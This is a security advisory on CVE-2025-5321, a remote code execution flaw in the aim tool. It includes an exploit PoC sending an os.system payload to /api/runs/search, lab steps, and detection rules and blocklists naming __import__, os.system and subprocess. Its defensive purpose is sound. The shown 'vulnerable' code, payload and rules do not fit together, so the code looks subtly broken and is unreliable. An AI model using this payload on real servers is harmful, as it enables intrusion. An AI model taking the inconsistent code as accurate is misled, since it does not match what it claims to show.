CVE-2025-5321

Executive Summary

CVE-2025-5321 is a critical vulnerability in aimhubio aim, an open-source experiment tracking tool. The flaw resides in the RestrictedPythonQuery function within /aim/storage/query.py, specifically in the run_view object handler. By manipulating the Abfrage argument, an attacker can achieve remote code execution (RCE) with elevated privileges. The vulnerability is remotely exploitable, requires no authentication, and has been publicly disclosed with proof-of-concept (PoC) code. No official patch is available from the vendor, who has not responded to disclosure attempts.

Supply Chain & Package Security

This vulnerability affects the PyPI package aim (aimhubio). Users of this package in their software supply chain are at risk. The lack of a vendor response and patch means that any system using aim <= 3.29.1 is vulnerable. Organizations should immediately assess their use of this package and consider isolation or removal until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is Critical due to the ease of exploitation, remote attack vector, and potential for full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic code injection flaw in the RestrictedPythonQuery function. The Abfrage (German for "query") argument is passed to a Python eval() or exec()-like function without proper sanitization. The run_view object handler processes user-supplied queries to filter or manipulate experiment runs. By injecting arbitrary Python code into the Abfrage parameter, an attacker can bypass the intended restrictions and execute arbitrary commands on the server.

The core issue is that the RestrictedPythonQuery function attempts to limit the Python execution environment but fails to block dangerous built-ins or access to the underlying operating system. The attacker can use standard Python techniques such as __import__('os').system('id') to achieve RCE.

Vulnerable vs. Patched Code

Vulnerable Code (aim <= 3.29.1):

# /aim/storage/query.py
class RestrictedPythonQuery:
    def __init__(self, query_string):
        self.query_string = query_string

    def execute(self):
        # Insecure: directly evaluates user input
        result = eval(self.query_string, {"__builtins__": {}}, {})
        return result

Patched Code (Hypothetical):

# /aim/storage/query.py
import ast
import operator

class RestrictedPythonQuery:
    def __init__(self, query_string):
        self.query_string = query_string

    def execute(self):
        # Secure: parse and whitelist allowed operations
        tree = ast.parse(self.query_string, mode='eval')
        # Validate AST nodes against a whitelist
        if not self._validate_ast(tree):
            raise ValueError("Invalid query")
        code = compile(tree, filename='<ast>', mode='eval')
        # Use a restricted environment
        allowed_globals = {"__builtins__": {}}
        allowed_locals = {"True": True, "False": False, "None": None}
        return eval(code, allowed_globals, allowed_locals)

    def _validate_ast(self, node):
        # Recursively check for dangerous nodes
        if isinstance(node, ast.Call):
            return False
        if isinstance(node, ast.Attribute):
            return False
        for child in ast.iter_child_nodes(node):
            if not self._validate_ast(child):
                return False
        return True

Exploitation & Lab Setup

Red Team

Exploit PoC:

import requests

target = "http://target-aim-server:43800"
payload = "__import__('os').system('id')"

# Craft the malicious query
data = {
    "query": f"{{'Abfrage': '{payload}'}}"
}

# Send the request to the vulnerable endpoint
response = requests.post(f"{target}/api/runs/search", json=data)
print(response.text)

Lab Setup:

1. Deploy a vulnerable aim instance using Docker: docker run -p 43800:43800 aimhubio/aim:3.29.1
2. Run the exploit script against the local instance.
3. Observe the output of the id command in the server response.

Blue Team

Detection:

• Monitor for requests to /api/runs/search with suspicious Abfrage parameters containing Python keywords like __import__, os.system, subprocess, etc.
• Use the Sigma rule provided in Detection Engineering.

Mitigation:

• Immediately isolate any aim instances from untrusted networks.
• Implement a Web Application Firewall (WAF) rule to block requests containing __import__ or os.system in the query parameter.
• Monitor logs for unusual process execution from the aim service.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /api/runs/search with Abfrage parameter containing Python code.
  • Outbound connections from the aim server to attacker-controlled IPs (if reverse shell is used).
• File System:
  • Unexpected files in /tmp/ or /var/tmp/ created by the aim process.
  • Modified or new files in the aim installation directory.
• Process:
  • Child processes spawned by the aim Python process (e.g., sh, bash, nc).
• Logs:
  • aim logs showing eval or exec of user-supplied strings.
  • System logs showing command execution from the aim user.

Detection Engineering

YARA Rule

rule CVE_2025_5321_Aimhubio_RCE {
    meta:
        description = "Detects exploit attempts for CVE-2025-5321 in aimhubio aim"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5321"
    strings:
        $python_injection = /__import__\(['\"]os['\"]\)\.system\(/
        $subprocess_injection = /subprocess\.(call|Popen|run)\(/
        $eval_pattern = /eval\(.*Abfrage/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-5321 Aimhubio RCE Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-5321 via malicious Abfrage parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/runs/search'
        cs-uri-query|contains: 'Abfrage'
    keywords:
        - '__import__'
        - 'os.system'
        - 'subprocess'
    condition: selection and keywords
falsepositives:
    - Legitimate use of Python in queries (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5321 Aimhubio RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/runs/search"; http_uri; content:"Abfrage"; http_client_body; pcre:"/__import__\(['\"]os['\"]\)\.system\(/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable or isolate aim instances from untrusted networks. If possible, take the service offline until a patch is available.
2. Workaround: Implement a reverse proxy (e.g., Nginx) with a rule to block requests containing __import__ or os.system in the request body.
3. Long-term: Monitor the aimhubio GitHub repository for a security patch. Once available, upgrade to the patched version immediately.
4. Compromise Assessment: Check for signs of exploitation using the IOCs provided. If compromise is suspected, perform a full incident response.
5. Supply Chain: Review your software bill of materials (SBOM) for the aim package and consider replacing it with an alternative if no patch is forthcoming.

Valters IT
DevSecOps & Cyber Threat Intelligence